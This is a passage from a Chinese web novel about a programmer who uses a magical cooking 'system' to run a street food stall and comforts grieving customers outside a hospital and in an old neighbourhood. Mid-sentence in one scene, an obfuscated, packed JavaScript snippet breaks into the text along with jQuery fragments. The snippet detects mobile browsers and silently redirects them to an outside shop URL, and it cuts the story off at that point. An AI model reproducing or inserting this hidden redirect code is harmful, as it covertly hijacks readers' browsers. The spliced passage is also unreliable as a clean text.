“我爸今天下午走的。”他说,语气很平淡,像是在陈述一个跟自己无关的事实,“胰腺癌,晚期,拖了四个月。刚才那碗面,让我想起来小时候他给我做的早饭。” 他扯了扯嘴角,笑了一下。 “一模一样的味道。” 然后他转过身,走进了急诊大楼的门,白大褂的背影消失在走廊尽头。 房寨站在原地,手里攥着那张十块钱,好半天没动。 【叮!食客1评价已录入。】 【满意度:97分。】 【评语:“有些味道,吃一口就回不去了。”】 他低头看了看推车上的面碗,碗底还残留着一点点汤汁的痕迹。 系统面板又闪了一下。 【任务进度:1/5。】 还有四碗。 房寨把碗收了,擦了擦灶台,重新烧上一锅水。 时间一点点过去,医院门口的夜晚比他想象的更安静,也更喧嚣。安静是因为没什么人大声说话,喧嚣是因为每个人心里都装着太多东西,压得他们几乎要发出声音来。 第二个客人是个四十多岁的阿姨,穿着花衬衫,手里攥着一条毛巾。她在走廊里坐了一整天,脸上的妆早就花了,眼皮浮肿,一看就是哭过的。 她走到房寨的摊位前,看了看招牌,又看了看房寨的脸。 “小伙子,这么晚还出来摆摊啊?” “嗯,刚开没多久。”房寨笑了笑,“阿姨来一碗不?” “多少钱?” “十块。” 阿姨想了想,点了点头:“来一碗吧,我在里面守了一天,什么都吃不下,这会儿闻着你这味儿,忽然觉得饿了。” 房寨马上动手煮面。 同样的步骤,同样的时间,同样的火候。红葱油一放进碗里,香气就飘出去了。 阿姨接过面,坐在推车旁边的一个塑料凳上——房寨特意带了两张凳子,就是给客人准备的。 她吃了一口,嚼了嚼,表情没什么变化。又吃了一口,这次嚼得慢了些。吃到第三口的时候,她忽然吸了吸鼻子。 “怎么了阿姨?太烫了?”房寨小心翼翼地问。 阿姨摇了摇头,又吃了一口,然后用毛巾捂住了眼睛。 “没事,”她的声音闷在毛巾里,“我就是……我已经好几天没吃下东西了。我老公在里面躺着,医生说情况不太好,我急得什么都吃不下。刚才闻到你煮面的味道,忽然就觉得饿了。” 她放下毛巾,眼睛红红的,但嘴角是弯的。 “能吃下东西就好,”她吸了吸鼻子,“能吃下东西,就能撑下去。” 她大口大口地把面吃完,连汤都没剩。放下碗的时候,她长长地呼了一口气,像是卸下了什么很重的东西。 “谢谢你啊小伙子。”她站起来,把钱递给房寨,又从兜里掏出一个橘子,“这个给你,我儿子买的,我一个人吃不完。” 房寨接过橘子和钱,想说点什么,但嘴笨,最后只憋出一句:“阿姨您也保重身体。” 阿姨摆了摆手,走进了医院的大门。 【叮!食客2评价已录入。】 【满意度:91分。】 【评语:“能吃下东西,就能撑下去。”】 房寨把橘子放在推车上,橘子在路灯下泛着暖暖的橙色。 他看了一眼时间,晚上十一点十分。 任务进度2/5。 还差三碗。 医院门口的人流越来越稀疏了,房寨有点担心完不成任务。他正想着要不要换个地方,一个穿蓝色工作服的清洁工大爷推着垃圾车过来了。 大爷五十多岁,皮肤黝黑,手上的指甲缝里全是泥。他把垃圾车停在路边,凑过来看了一眼房寨的摊位。 “阳春面?”大爷念了一遍招牌上的字,咂了咂嘴,“多少钱?” “十块。” 大爷摸了摸口袋,掏出一把零钱,数了数,有五块的,有一块的,有钢镚儿。他数了半天,刚好十块钱,一张五块加五个一块。 “来一碗。”大爷把钱递过来的时候,手指粗得像胡萝卜,指甲盖里嵌着黑色的污垢。 房寨接过钱,心里忽然有点不是滋味。 他煮了一碗面,特意多加了半勺红葱油,多抓了一小把面,把碗装得满满当当的。 大爷蹲在路边吃,吃得很急,呼噜呼噜的,像是饿了很久。 “好吃!”大爷一边吃一边含混地说,“真好吃!我干了一天的活,就早上吃了俩馒头,饿得不行了。你这面真香,比我在老家吃过的任何面都香!” 他三口两口把面吃完,连汤都喝光了,然后用手背抹了抹嘴,咧嘴笑了。 “小伙子,你明天还来不?” 房寨看着大爷那张黝黑的脸上绽开的笑容,忽然觉得鼻子有点酸。 “来。”他说,“大爷您要是想吃,明天我还在这儿。” “好嘞!”大爷站起来,拍了拍裤子上的灰,推着垃圾车走了。走了几步又回过头来,“别忘了啊!” “忘不了。” 【叮!食客3评价已录入。】 【满意度:94分。】 【评语:“这是我这辈子吃过最好吃的面。”】 任务进度:3/5。 还差两碗。 时间已经快到十二点了。房寨正准备再等等,系统面板忽然弹出一条新消息。 【支线任务触发:为陌生人煮一碗面。】 【检测到东北方向50米处有一名情绪低落的年轻女性,建议主动邀请。】 【支线奖励:厨艺经验+50。】 房寨顺着系统提示的方向看过去。 急诊大楼门口的台阶上,坐着一个穿灰色卫衣的年轻女孩。她抱着膝盖,把头埋在胳膊里,肩膀一耸一耸的,像是在哭。 周围来来往往的人从她身边走过,没有人停下来。 房寨犹豫了一下。 他不太会安慰人。一个连自己都安慰不了的社恐程序员,你让他去安慰一个陌生人?这不是为难他吗? 但他又看了一眼系统面板上那个支线任务,咬了咬牙,从锅里舀了一碗热汤,端了过去。 他走到女孩面前,蹲下来,把碗放在她旁边的台阶上。 “那个……喝口汤吧,免费的。” 女孩抬起头,脸上全是泪痕,眼睛肿得像核桃。她看了一眼房寨,又看了一眼地上的碗,愣了一下。 “不用怕,我在那边摆摊的。”房寨指了指自己的推车,“这汤是面汤,热的,喝了能暖和点。” 女孩吸了吸鼻子,端起碗,小口小口地喝了起来。 热汤入口,她的眼泪又掉下来了。 “我分手了。”她哑着嗓子说,“在一起四年了,他说我们不合适。我坐了十个小时的火车来找他,他连面都不肯见。” 房寨不知道该说什么,就在旁边蹲着,安静地听着。 “我不知道该去哪,”女孩捧着碗,“我不想回家,家里人还不知道我谈恋爱的事。我朋友也不在这个城市。我觉得……我觉得全世界就剩我一个人了。” 房寨看着她,忽然想起几个月前的自己。 那时候他刚签完房贷合同,算完每个月的还款金额,一个人坐在出租屋里,也是这种感觉——全世界就剩我一个人了。 “你等一下。”他说。 他跑回推车后面,重新点火烧水,下了一把面。这次他放了两勺红葱油,多切了一把葱花,面条煮得比之前的更软一些——他隐约觉得,这个女孩可能需要一碗软一点的面。 三分钟后,他把面端到女孩面前。 “请你吃的,不要钱。” 女孩看着碗里的面,热气扑在她脸上,把眼泪蒸成了水雾。她端起碗,吃了第一口。 然后是第二口,第三口。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511072|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃得很慢,每一口都嚼很久,像是在用这碗面一点一点地把碎掉的心粘回来。 吃到一半的时候,她忽然说了一句:“好温暖。” 房寨坐在她旁边的台阶上,没说话。 两个人就这么并排坐着,一个吃面,一个发呆。医院门口的灯很亮,把他们的影子拉得很长,投在地上,像是两个靠在一起的逗号。 女孩把面吃完了,汤也喝完了。她把碗放在一边,长长地呼了一口气。 “谢谢你。”她转过头看着房寨,脸上的泪痕还没干,但眼睛里已经有光了,“我不知道你叫什么名字,但谢谢你。” “我叫房寨。” “房寨?”女孩念了一遍,忽然笑了,“好奇怪的名字。” “是啊,房贷的房,寨子的寨。”房寨也笑了,“我爸妈给我起名字的时候,可能就预言了我这辈子要背房贷。” 女孩笑出了声,虽然声音还带着哭腔,但那种笑声是真心的。 她站起来,拍了拍裤子,把卫衣的帽子戴上。 “房寨,我记住你了。”她说,“等我好起来了,我来找你吃面。” “行,我请你。” 女孩笑了笑,转身走了。她走得不算快,但步子很稳,一步一步的,像是在重新学着怎么走路。 【叮!支线任务完成:为陌生人煮一碗面。】 【食客满意度:96分。】 【评语:“在我最难过的时候,有人为我煮了一碗面。这大概就是活着的意义吧。”】 【支线奖励已发放:厨艺经验+50。】 【主线任务进度:4/5。】 房寨看着女孩的背影消失在夜色里,心里那种说不清的感觉又涌上来了。 今天他一共做了四碗面,四个完全不同的客人,四种完全不同的悲伤。但奇怪的是,他们吃完面之后,好像都变好了一点。 不只是胃变好了,是心变好了。 他想起系统绑定时的那句话——胃暖了,心就不冷了。 原来真的是这样。 时间已经快凌晨一点了。医院门口几乎没什么人了,只剩下急诊室的灯还亮着,像一座不夜城的灯塔。 房寨正准备收摊,一个外卖骑手骑着电动车从路上飞驰而来,在医院的侧门停下来。 骑手二十出头的样子,瘦得跟竹竿似的,穿着一件洗得发白的蓝色工装。他从车上拿下一份外卖,跑进医院送完,又跑出来,正准备骑车走的时候,闻到了房寨摊位上的香味。 他犹豫了一下,走过来看了一眼。 “阳春面?还有吗?” 房寨看了一眼锅里剩下的面条,刚好够一碗。 “有,最后一碗。” “多少钱?” “十块。” 骑手掏出手机扫了码,蹲在路边等着。他看起来很累,眼睛下面有两道深深的青黑,嘴唇干裂起皮,手指上贴着创可贴。 房寨煮了最后一碗面,端给他。 骑手接过去,呼噜呼噜吃了两口,忽然停下来,看着碗里的面发呆。 “怎么了?”房寨问。 “没什么。”骑手吸了吸鼻子,“就是觉得……好久没吃过这么热乎的东西了。” 他又吃了一口,嚼着嚼着,眼泪就掉下来了。 “我今天跑了四十多单,”他说,声音有点抖,“从早上七点跑到凌晨,中间就啃了一个凉馒头。有一个客人住七楼没电梯,我爬上去敲门,她嫌我慢了,给了我一星差评。” 他抹了一把眼泪,又吃了一口面。 “我刚才送的那一单是住院部的,一个老奶奶,八十多岁了,儿女都不在身边。她接过饭的时候拉着我的手说,小伙子辛苦了,吃个橘子吧。” 他从口袋里掏出一个橘子,举给房寨看。 “你看,就是在这个医院,就刚才。” 房寨看着那个橘子和骑手脸上的眼泪,忽然笑了。 他把推车上那个阿姨给的橘子拿过来,塞到骑手手里。 “两个橘子了,凑一对。” 骑手愣了一下,然后笑了。他一边哭一边笑,样子有点滑稽,但那种笑是真的,比很多假笑都真。 他吃完面,喝完汤,站起来,把碗还给房寨。 “老板,你明天还来吗?” “不一定。”房寨想了想,“但你要是想吃,加我微信,我出摊了告诉你。” 骑手掏出手机扫了码,备注名字的时候打了一行字:跑外卖的小陈。 “走了老板。”小陈骑上电动车,冲房寨挥了挥手,“谢谢你啊,这碗面我会记很久的。” 电动车的声音在夜里特别响,突突突地远去了。 【叮!食客5评价已录入。】 【满意度:99分。】 【评语:“不是面好吃,是这个世界还没那么糟。”】 【主线任务完成!】 【任务评价:超额完成(5/5位食客,平均满意度95.4分)。】 【发放奖励:房贷减免券×1,厨艺经验+200,厨具升级券×1。】 【房贷减免券生效中……抵扣本金8000元(超额完成奖励加成)。当前剩余本金:1,514,331.68元。】 房寨看着那个数字又少了八千块,心里涌上一股说不出的滋味。 一天,两顿饭,减了一万三的房贷。 他上一个月班才还六千三。 房寨慢慢地把推车收拾好,锅碗瓢盆一样样归位,剩下的调料盖好盖子。他把两张塑料凳子折叠起来,绑在推车侧面。 凌晨一点半的街道很安静,偶尔有一辆车经过,车灯扫过来,把他的影子拉长又缩短。 他推着咯吱咯吱响的推车往回走,路过天桥的时候,那个唱歌的人已经走了,只剩下空荡荡的桥面和几片被风吹到一起的落叶。 房寨走到桥中间的时候,停下来,把推车靠在栏杆上,趴在栏杆上往下看。 桥下的马路空空荡荡,路灯一盏接一盏地亮着,延伸到很远很远的地方,像是在给谁指路。 他想起今天遇到的那五个人。 那个失去父亲的年轻医生,那个丈夫重病的阿姨,那个干了一天活的清洁工大爷,那个被分手的外地女孩,那个跑了一天外卖的骑手。 每个人都好难啊。 但每个人都吃完了那碗面。 房寨从口袋里掏出那个橘子,剥开,掰了一瓣放进嘴里。 很甜。 他笑了笑,把剩下的橘子一瓣一瓣地吃完,把橘子皮放在栏杆上,让夜风把它吹干。 【系统提示:今日营业总结——】 【服务食客:6人(含支线任务1人)。】 【满意度:平均95.7分。】 【治愈指数:★★★★★。】 【宿主心情值:当前67/100(初始值3/100)。】 【系统评价:你在治愈别人的时候,也在治愈自己。继续加油。】 房寨看了一眼那个67分,嘴角抽了抽。 从3分到67分,他花了不到二十四小时。 虽然离100分还差得远,但至少,今天晚上的他,不是那个躺在出租屋里盯着灭掉的灯泡发呆的人了。 他推起推车,继续往前走。 咯吱咯吱的声音在夜里传得很远,像某种古老的号子,一下一下的,不急不慢。 城中村的巷子里,那几只流浪猫还蹲在墙角,看到他回来,喵喵叫了几声。 房寨从口袋里掏出中午没吃完的半根火腿肠,掰碎了丢给它们。 猫们低头抢食,吃完了又抬起头看着他,眼睛在黑暗中发着绿莹莹的光。 “明天还有。”房寨说。 猫们听不懂,但好像听懂了一样,跟在他身后走了几步,然后散开了。 房寨把推车推上楼,开门,开灯。 灯泡闪了两下,稳住了。 他把东西收拾好,洗了个澡,躺在床上,翻看手机群里那些消息。 群里已经99+了,全是在问他明天出不出摊的。 房寨翻到最上面,发现那个叫小陈的外卖骑手也在群里,他发了一条语音。房寨点开,小陈的声音从手机里传出来,带着笑:“家人们,我今天吃了老板的阳春面,真的绝了,我一个大男人都给吃哭了。你们一定要吃一次,不好吃我把头拧下来给你们当球踢。” 下面一群人哈哈哈,还有人说“你已经把头拧下来了,我们现在就踢”。 房寨看着这些消息,忍不住笑出了声。 他打了一行字:“明天下午出摊,具体时间和地点明天中午在群里说。” 发完这条消息,他把手机放在枕头边,关了灯。 黑暗中,系统面板亮了一下。 【明日预告:系统将发布新的主线任务。】 【请宿主保持良好状态。】 【晚安,房寨。】 房寨闭上眼睛,嘴角还带着一点弧度。 今天很累,真的很累。从下午出摊到现在,差不多十个小时没歇过。但是那种累和以前不一样,以前的累是空的,累完之后什么也没有。今天的累是实的,累完之后心里是满的。 他想起了今天那个女孩说的话——好温暖。 不只是胃暖了,心也暖了。 窗外的夜风穿过城中村的电线,发出细细的声音,和昨晚一模一样。 但房寨觉得,今晚的风听起来不一样了。 好像没那么冷了。 4. 第 4 章 房寨是被手机震醒的。 不是闹钟,是微信消息。手机在枕头边嗡嗡嗡地震个不停,像揣了只蜜蜂。 他迷迷糊糊地摸过手机,眯着眼一看——早上七点半,微信未读消息99+,全是群里@他的。 “老板起床了吗?” “今天出摊吗出摊吗出摊吗” “我昨晚梦见那个阳春面了,馋醒了” “老板你是不是跑路了不要啊” 房寨翻了个身,一条条往下看,忍不住笑了。 群里已经有一百三十多个人了。昨晚他睡着之后又进来不少人,估计是那些吃过的人拉的。有人在做表格统计“房寨出摊地点推测”,有人发了张他推车的照片配文“全城寻找白月光摊主”,还有人@他问能不能预定。 预定? 房寨想了想,打字回复:“不用预定,来了就有。今天下午五点半出摊,地点待定,中午通知。” 消息发出去的瞬间,群里炸了。 “老板活了!” “五点半是吧,我请假都要去” “地点待定是什么鬼啊老板你别搞神秘主义” “求求了选个离我近的地方” 房寨没再回消息,把手机放下,坐起来伸了个懒腰。 今天精神不错。昨晚睡得挺踏实,连梦都没做,一觉到天亮。这在以前是不可能的,以前他每天晚上都要翻来覆去地想房贷的事,想工作的事,想各种有的没的,折腾到一两点才能睡着。 他把窗帘拉开一条缝,外面居然是个晴天。城中村的巷子里有人在晒被子,花花绿绿的床单挂在竹竿上,在风里飘来飘去。 房寨刷牙洗脸的时候对着镜子看了看自己。 黑眼圈还在,但好像淡了一点。脸色也没那么蜡黄了,嘴唇有点血色了。最明显的是眼神,之前那个眼神是散的,没有焦点的,看什么都像隔了一层雾。现在不一样了,眼睛里有光了,虽然不是很亮的那种,但至少不是死气沉沉的。 他对着镜子咧嘴笑了一下,又觉得自己有点傻,赶紧收住了。 系统面板在他洗脸的时候弹了出来。 【早安,宿主。今日心情值:71/100(较昨日+4)。】 【主线任务已发布。】 房寨放下毛巾,点开任务面板。 【主线任务:城市角落的烟火气。】 【任务描述:美食的意义在于分享。请在一个“不被注意的城市角落”完成一次摆摊,让那些平时被忽略的人品尝到温暖。】 【任务要求:至少服务8位食客,平均满意度≥85分。】 【任务奖励:房贷减免券×1,厨艺经验+200,随机食谱×1。】 【特别提示:本次任务无时间限制,但建议在晚餐时段完成。】 不被注意的城市角落? 房寨想了想,脑子里冒出好几个地方:工地旁边的路口、老居民区的小巷、学校后门那条没人走的街…… 他翻出手机地图,标记了几个备选地点,然后决定出门踩点。 上午九点多,太阳已经很大了。房寨骑着共享单车,先去了第一个备选点——城东的旧货市场附近。 那片地方他很熟,刚来这个城市的时候在那里住过半年。旧货市场周围全是卖二手家具、二手家电的小店,来来往往的都是拉货的师傅和来淘便宜货的人。这些人不是没有消费能力,是舍不得花钱。一碗十几块的面他们不会买,但一碗几块钱的、好吃的、热乎的东西,他们愿意。 房寨在旧货市场门口站了十分钟,观察了一下人流量和周边的摊位。有两家卖盒饭的,一家卖凉皮的,生意都还行,但没有卖面条的。 可以试试。 他又骑车去了第二个备选点——城南的一个老居民区。 这片是八十年代建的小区,没有电梯,楼外墙皮都掉了,但住的人不少,大多是老人和租客。小区门口有一条窄窄的巷子,两边都是各种小摊,卖菜的卖水果的卖早点的,热热闹闹的。 房寨在巷子里走了一圈,发现这里缺一样东西——晚上营业的摊位。这些摊大多白天开,到了五六点就陆陆续续收了。也就是说,晚餐时段这里是个空白。 也可以试试。 第三个备选点他没去,直接在手机上划掉了。太远了,推车过去要一个小时,不现实。 现在有两个选择,选哪个? 房寨想了想,决定选老居民区。原因很简单——那里有老人。他在医院门口那晚发现,老人是最容易被忽略的群体。年轻人还能点外卖,还能下馆子,老人呢?腿脚不方便的,一个人住的,省吃俭用的,可能一顿饭就是一锅粥热三顿。 他想给那些老人做顿饭。 地点定下来,房寨在群里发了通知:“今天出摊地点:城南翠屏路老居民区巷口。时间:下午五点半。” 发完他又补了一条:“今天做蛋炒饭和阳春面,价格不变。” 群里又是一阵骚动。 “翠屏路?那不是我家楼下吗!!!” “老板你是不是住我家隔壁” “我从公司过去要一个小时,但为了这口饭,值了” “有没有人一起拼车的?我在城北” 房寨看着群里热火朝天的讨论,忽然觉得有点不真实。一个多月前,他的微信只有工作群和外卖红包群,每天的消息不超过十条。现在他有一个一百多人的群,里面的人因为他做的饭而兴奋、期待、讨论、分享。 这种感觉很奇怪,但挺好的。 决定好地点之后,房寨开始备料。 今天是两个菜品,工作量翻倍。蛋炒饭需要米饭、鸡蛋、葱花。阳春面需要面条、红葱油、酱油、葱花。米饭要提前煮好晾凉,不然炒出来会黏成一坨。红葱油昨晚用完了,今天要重新炸。 他去菜市场买了十斤大米、三板鸡蛋、两斤猪板油、一袋红葱头、五斤碱水面,又补了些葱和调料。 一共花了六十八块钱。 余额:1.97元。 房寨看着这个数字,深吸了一口气。 今天必须把成本挣回来,不然明天连买鸡蛋的钱都没有了。 回到家,他开始备料。 先煮饭。十斤米分了四锅才煮完,煮好的米饭摊开在大盆里晾着,用筷子时不时翻一下,让热气散掉。 然后炸红葱油。猪板油切丁下锅,小火慢熬,等油渣金黄酥脆了捞出来,红葱头片倒进去炸到焦黄。整个过程四十分钟,满屋子都是香味。 葱花切了两大碗,一碗炒饭用,一碗煮面用。鸡蛋打散在盆里,加了一点点盐和水,搅到起泡。 一切准备就绪的时候,已经下午三点多了。 房寨把东西装上推车,这次比前两次都多。米饭装了两个保温桶,面条用塑料袋分装好,鸡蛋整板放在下层,调料瓶用绳子固定在推车把手上防止晃倒。 他检查了三遍,确认没有漏掉东西,然后推着车出了门。 从城中村到翠屏路,骑车二十分钟,推车走了四十分钟。路上坡多,推车又重,到了地方的时候他后背全湿了,T恤贴在身上,汗珠子顺着脖子往下淌。 时间是下午五点十分,比预定时间早了二十分钟。 巷口的位置空着,房寨把推车停好,支起炉子,摆好锅碗瓢盆,把折叠凳打开放在旁边。招牌挂上,一面写着蛋炒饭八元,一面写着阳春面十元。 巷子里的老人们已经开始注意到了。一个头发花白的老太太拎着菜篮子路过,凑过来看了看。 “小伙子,卖什么的?” “蛋炒饭和阳春面,阿姨。” “多少钱?” “炒饭八块,面十块。” 老太太咂了咂嘴:“有点贵啊。” 房寨笑了笑没说话。他知道在这个地方,八块钱确实不算便宜。但他不想降价,不是因为贪心,是因为他相信自己的东西值这个价。 老太太走了,但没走远,在旁边跟另一个老太太嘀咕了几句。两个人都往这边看,像在观望。 五点二十五分,群里第一批人到了。 是两个年轻姑娘,一看就是上班族,穿着衬衫和西裤,手里还拎着电脑包。她们跑过来的,气喘吁吁的,脸上全是汗。 “老板!终于找到了!”其中一个姑娘激动得不行,“我们五点钟下班直接打车过来的,生怕赶不上。” “不着急,慢慢来。”房寨擦了擦灶台,“要什么?” “两碗阳春面!我在群里看你发的照片馋了好久了!” 房寨点火烧水,下面。 红葱油一放,香味炸开,巷子里那几个观望的老太太同时转过头来。 两个姑娘蹲在路边吃,一边吃一边发出夸张的赞叹声。 “天哪这个汤好好喝!” “这个面条好Q弹啊!跟我在外面吃的完全不一样!” “你是不是偷偷加了什么东西啊老板,怎么会这么好吃” 房寨被夸得有点不好意思,低着头假装没听见,继续煮面。 【叮!食客1、2评价已录入。满意度:96分、94分。】 香味飘出去之后,生意就好做了。 一个中年男人骑着电动车路过,闻到味道刹了车,要了一份蛋炒饭。一个带着孩子的年轻妈妈,孩子闻到香味不肯走,哭着要吃面,妈妈只好买了一份,自己尝了一口之后又买了一份。 陆续有老人过来了。 刚才那个老太太又出现了,这次没再嫌贵,要了一份蛋炒饭。房寨给她炒了一份,特意炒得软一点,米饭多焖了半分钟,怕她牙口不好。 老太太接过去吃了一口,眼睛亮了。 “哟,这炒饭做得真不错。小伙子你手艺可以啊。” 她端着碗走到旁边的石墩上坐下,慢慢地吃,一口一口的,吃得特别仔细。吃完之后碗底干干净净,一粒米都没剩。 “明天还来不?”老太太问。 “来的。”房寨说。 “那我明天还来。” 【叮!食客5评价已录入。满意度:92分。】 六点多的时候,人开始多起来了。 群里的、路过的、闻着味儿来的,推车前面排了七八个人。房寨忙得脚不沾地,一手炒饭一手煮面,两个锅同时开火,动作快得自己都佩服自己。 他从来没想过自己有一天能在路边摊上忙成这样。 以前他在公司写代码,一天下来鼠标点了几千下,眼睛酸得要命,但心里是空的。现在他在路边颠勺,胳膊酸得要命,但心里是满的。 这种感觉很奇怪。忙,但是不累。累,但是快乐。 七点半左右,食材用得差不多了。米饭只剩最后一碗的量,面条也只剩一把。 房寨正准备收摊,一个佝偻着背的老大爷拄着拐杖慢慢走过来了。 老大爷穿得很旧,一件灰色的中山装,领口磨得发白,脚上一双解放鞋,鞋面上还有补丁。他走得很慢,拐杖在 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“我老伴走了八年了。”他忽然说。 房寨手里的锅铲顿了一下。 “她以前也爱做蛋炒饭,”老大爷说,“跟你这个味儿有点像,但没你这个好吃。” 他笑了,脸上的皱纹挤在一起,像一张揉皱的纸。 “她要是能吃到你这个炒饭,肯定高兴。” 说完他又低下头,一口一口地把剩下的饭吃完了。 吃完之后,他把碗放在推车上,把拐杖夹在腋下,慢慢地转过身,一步一步地往巷子深处走去。 房寨站在推车后面,看着那个佝偻的背影一点一点地变小,消失在昏暗的巷子里。 他忽然想起自己奶奶。老人家也一个人住在老家,每次打电话都说自己挺好的,让他别惦记。但他知道,她一个人的饭桌上,大概也是一锅粥热三顿。 房寨吸了吸鼻子,把碗收了,擦了擦灶台。 食材全部卖完了。今天一共卖了十四份——八碗面,六份炒饭。除去成本,大概赚了六十多块钱。 不多,但够明天买食材了。 【主线任务完成!服务食客14人(超额完成8人目标),平均满意度92.6分。】 【发放奖励:房贷减免券×1,厨艺经验+200,随机食谱×1。】 【房贷减免券生效中……抵扣本金5000元。当前剩余本金:1,509,331.68元。】 【随机食谱已发放:烤红薯。】 房寨看着新食谱的名字,愣了一下。 烤红薯? 这大夏天的,谁吃烤红薯? 【系统提示:食谱的使用时机由宿主自行把握。好菜不怕晚,好红薯不怕季节。】 行吧。 房寨把推车收拾好,准备往回走。 这时候手机震了一下,群里有人发了条消息。 “我今天吃到老板的蛋炒饭了,是真的好吃,但我更想说的是,老板人真的很好。我看到他给一个老大爷多加了鸡蛋,还把碗装得特别满。这种细节骗不了人的,老板是个好人。” 下面一群人跟帖。 “我也看到了,他对老人都特别耐心。” “他在医院门口那晚还给一个哭着的女孩送了一碗热汤。” “所以我说他不只是做饭好吃,他是真的有在用心对待每一个人。” 房寨看着这些消息,脸有点红。 他就是顺手的事,没想到被人看在了眼里。 他把手机揣回兜里,推着车往回走。 路过天桥的时候,那个唱歌的人又来了。今天唱的是首老歌,旋律很慢,声音沙哑但不难听。 房寨停下来听了一会儿,往吉他盒里放了五块钱。 唱歌的人冲他点了点头,继续唱。 房寨推着车下天桥的时候,忽然想起一件事。 今天那个老大爷说,他老伴走了八年了。 八年。 一个人过了八年。 房寨不知道那是一种什么样的日子,但他忽然很想回老家看看奶奶。 他掏出手机,给奶奶打了个电话。 电话响了好几声才接通,奶奶的声音从听筒里传出来,带着老家的口音:“谁啊?” “奶奶,是我。” “哪个?” “房寨。” “哦,寨儿啊!”奶奶的声音一下子高了八度,“你怎么想起打电话来了?吃饭了没有?瘦了没有?工作累不累?” “吃了,不瘦,不累。”房寨笑着说,“奶奶你呢?身体怎么样?” “好着呢好着呢,你别惦记我,我身体好得很,天天去公园跳舞。” 房寨知道奶奶在吹牛,她腿脚不好,根本跳不了舞。但他没拆穿,顺着她说:“那挺好,你多跳跳。” 挂了电话之后,他在天桥上站了一会儿。 夜风吹过来,带着六月底特有的那种湿热,闷闷的,但不算难受。 桥下的车流不多,一辆接一辆地开过去,尾灯拉成一条条红线。 房寨深吸了一口气,推起推车,继续走。 咯吱咯吱的声音在夜里响着,和之前每一天一样,但又好像不太一样了。 他说不上来哪里不一样。 但就是不一样了。 5. 第 5 章 房寨是被一阵急促的敲门声吵醒的。 砰砰砰!砰砰砰! 那动静像是有人拿拳头在砸门,整栋楼都在震。房寨从床上弹起来,第一反应是出什么事了,第二反应是会不会是房东。 他光着脚跑到门口,透过猫眼往外一看—— 是个中年男人,穿着灰色polo衫,肚子挺得老高,脸涨得通红,一看就是那种不好惹的主。 房寨把门开了一条缝。 “你是房寨?” “是我。” “我是你楼下住户,你每天晚上推那个破车回来咯吱咯吱响,我老婆神经衰弱睡不着觉,你再这样我找房东投诉你!” 房寨愣了一下,赶紧道歉:“对不起对不起,我以后轻一点。” “轻一点?你那破车轮子都快掉了,你再轻也有声音!”男人越说越气,“你一个大小伙子干点什么不好,非得摆摊?又挣不了几个钱,还扰民,你说你是不是有病?” 房寨张了张嘴,想说点什么,但最后还是把话咽了回去。 “对不起,我会想办法的。” 男人哼了一声,转身走了,下楼的时候还在骂骂咧咧。 房寨关上门,靠在门板上站了好一会儿。 他低头看了看自己的手,指甲缝里还有昨天切葱花留下的味道。 有病? 也许吧。 一个名牌大学毕业的程序员,不去写代码,跑去路边摆摊,在正常人看来确实挺有病的。 但房寨不想解释。他也不知道该怎么解释。难道跟人家说“我绑定了个美食系统,不做任务就还不起房贷”?人家不把他送精神病院才怪。 他叹了口气,去洗漱了。 今天系统还没发布任务,他打算先看看群里的消息再说。 打开微信,群里已经聊了几百条。 房寨往上翻了翻,发现话题是从一条消息开始的—— “家人们,你们说老板的摊叫什么名字好?总不能一直叫‘那个炒饭很好吃的小摊’吧?” 然后下面就开始了一轮疯狂的取名大会。 “叫‘白月光’吧,不是都说他是白月光摊主吗?” “太文艺了,不如叫‘房寨炒饭’,简单粗暴。” “叫‘治愈食堂’怎么样?” “食堂太大了,就一个小推车,叫‘房寨的小摊’就行。” 最后有一个人的提议被最多人点了赞—— “叫‘寨哥儿’,亲切,好记,还有人情味。” 房寨看着“寨哥儿”这三个字,觉得有点好笑,又有点暖。 他在群里发了一条消息:“行,就叫寨哥儿吧。以后我的招牌就写这个。” 群里又是一阵欢呼。 发完消息,系统面板弹出来了。 【早安,宿主。今日心情值:74/100。】 【主线任务已发布。】 房寨点开任务面板。 【主线任务:写字楼下的午餐时间。】 【任务描述:回到故事开始的地方。请在宿主公司楼下完成一次午餐时段摆摊。】 【任务要求:11:30-13:30之间营业,至少服务15位食客。】 【任务奖励:房贷减免券×1,厨艺经验+200,推车升级图纸×1。】 【特别提示:本次任务可能触发特殊事件。】 公司楼下? 房寨看了一眼时间,上午九点四十。 还有不到两个小时。 他赶紧换衣服出门,先去菜市场买菜。今天做蛋炒饭,简单,快,适合午餐时段。 买了米饭、鸡蛋、葱花,一共花了三十五块。余额又回到了个位数。 推车从楼下推出来的时候,房寨特意检查了一下轮子。确实有点歪,推起来咯吱咯吱的,楼下那个大叔说得没错,确实挺吵的。 但他现在没钱换轮子,只能先凑合着。 从城中村到公司,骑车十五分钟,推车走了半小时。 十点四十,他到了公司楼下那条街。 白天和晚上完全不一样。晚上冷冷清清的,只有路灯和偶尔经过的行人。白天就不一样了,到处都是人,到处都是车,到处都是声音。 房寨找了一个位置,在写字楼和旁边一栋商场之间的过道里。这个地方不算最好的位置,但也不挡路,而且离他公司只有不到一百米。 他把推车停好,支起炉子,把新做的招牌挂上去——“寨哥儿蛋炒饭”。 招牌是用纸板做的,上面用马克笔写了几个大字,歪歪扭扭的,但看得清。 八块钱一份。 十一点不到,就开始有人从写字楼里出来了。 房寨站在推车后面,看着那些穿着衬衫西裤的男男女女,忽然觉得有点紧张。 不是因为怕做不好饭,是因为他认识这些人。 这些人里有他的同事。 他不想被认出来。 一个程序员,白天在公司写代码,中午在楼下摆摊卖炒饭,这要是被同事看到了,他明天就不用去上班了——不是被开除,是社死的。 房寨把帽檐往下压了压,又把口罩往上拉了拉,整个人只露出一双眼睛。 十一点十分,第一个客人来了。 是个戴眼镜的年轻男人,穿着格子衬衫,一看就是同行。 “蛋炒饭,八块是吧?来一份。” 房寨点了点头,没说话,点火开炒。 蛋液下锅,刺啦一声,香味飘出去了。旁边路过的人放慢了脚步,有人回头看。 三分钟,出锅。 